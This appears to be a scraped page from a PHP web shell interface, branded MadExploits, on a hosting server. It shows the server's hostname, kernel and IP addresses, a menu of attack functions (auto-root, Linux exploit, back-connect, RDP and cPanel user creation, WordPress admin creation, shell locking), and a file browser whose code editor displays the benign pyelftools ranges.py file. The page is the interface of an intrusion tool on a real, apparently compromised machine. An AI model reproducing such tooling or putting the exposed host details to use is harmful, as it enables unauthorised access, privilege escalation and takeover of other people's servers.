Linux id-dci-web1980.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
LiteSpeed
: 153.92.8.146 | : 216.73.217.140
Cant Read [ /etc/named.conf ]
8.3.30
u610877233
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
python3.9 /
site-packages /
elftools /
dwarf /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
abbrevtable.py
2.49
KB
-rw-r--r--
aranges.py
4.37
KB
-rw-r--r--
callframe.py
29.41
KB
-rw-r--r--
compileunit.py
8.31
KB
-rw-r--r--
constants.py
4.45
KB
-rw-r--r--
descriptions.py
23.65
KB
-rw-r--r--
die.py
10.24
KB
-rw-r--r--
dwarf_expr.py
9.51
KB
-rw-r--r--
dwarfinfo.py
17.29
KB
-rw-r--r--
enums.py
15.5
KB
-rw-r--r--
lineprogram.py
11.76
KB
-rw-r--r--
locationlists.py
5.35
KB
-rw-r--r--
namelut.py
7.15
KB
-rw-r--r--
ranges.py
2.21
KB
-rw-r--r--
structs.py
12.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ranges.py
#------------------------------------------------------------------------------- # elftools: dwarf/ranges.py # # DWARF ranges section decoding (.debug_ranges) # # Eli Bendersky (eliben@gmail.com) # This code is in the public domain #------------------------------------------------------------------------------- import os from collections import namedtuple from ..common.utils import struct_parse RangeEntry = namedtuple('RangeEntry', 'begin_offset end_offset') BaseAddressEntry = namedtuple('BaseAddressEntry', 'base_address') class RangeLists(object): """ A single range list is a Python list consisting of RangeEntry or BaseAddressEntry objects. """ def __init__(self, stream, structs): self.stream = stream self.structs = structs self._max_addr = 2 ** (self.structs.address_size * 8) - 1 def get_range_list_at_offset(self, offset): """ Get a range list at the given offset in the section. """ self.stream.seek(offset, os.SEEK_SET) return self._parse_range_list_from_stream() def iter_range_lists(self): """ Yield all range lists found in the section. """ # Just call _parse_range_list_from_stream until the stream ends self.stream.seek(0, os.SEEK_END) endpos = self.stream.tell() self.stream.seek(0, os.SEEK_SET) while self.stream.tell() < endpos: yield self._parse_range_list_from_stream() #------ PRIVATE ------# def _parse_range_list_from_stream(self): lst = [] while True: begin_offset = struct_parse( self.structs.Dwarf_target_addr(''), self.stream) end_offset = struct_parse( self.structs.Dwarf_target_addr(''), self.stream) if begin_offset == 0 and end_offset == 0: # End of list - we're done. break elif begin_offset == self._max_addr: # Base address selection entry lst.append(BaseAddressEntry(base_address=end_offset)) else: # Range entry lst.append(RangeEntry( begin_offset=begin_offset, end_offset=end_offset)) return lst
Close